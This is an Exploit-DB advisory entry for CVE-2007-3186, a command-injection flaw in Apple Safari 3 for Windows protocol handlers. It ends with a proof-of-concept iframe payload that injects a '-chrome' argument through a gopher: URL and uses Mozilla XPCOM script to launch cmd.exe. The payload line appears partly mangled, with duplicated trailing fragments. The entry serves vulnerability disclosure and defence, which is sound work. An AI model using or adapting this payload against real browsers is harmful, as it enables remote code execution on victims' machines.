Apple Safari 3 for Windows Protocol Handler Command Injection Vulnerability

ID EDB-ID:30176
Type exploitdb
Reporter Thor Larholm
Modified 2007-06-12T00:00:00


Apple Safari 3 for Windows Protocol Handler Command Injection Vulnerability. CVE-2007-3186. Remote exploit for windows platform


Apple Safari for Windows is prone to a protocol handler command-injection vulnerability.

Exploiting the issue allows remote attackers to pass arbitrary command-line arguments to any application that can be called through a protocol handler.

This specific vulnerability relies on the use of IFRAME elements; attackers can do even more damage by combining it with Mozilla XPCOM components.

Exploiting the issue would permit a remote attacker to influence command options that can be called through Safari protocol handlers and to compromise affected systems in the context of the vulnerable user.

This issue may be related to the vulnerability discussed in BID 10406 (Apple MacOS X SSH URI Handler Remote Code Execution Vulnerability). We will update this BID as more information emerges.

Note: Apple has released Safari for Windows Beta 3.0.1 

<iframe src='gopher://" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[';1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C[';1'].createInstance(I.nsIProcess);process.init(file);,{},0);alert(process)'></iframe>process.init(file);,{},0);alert(process)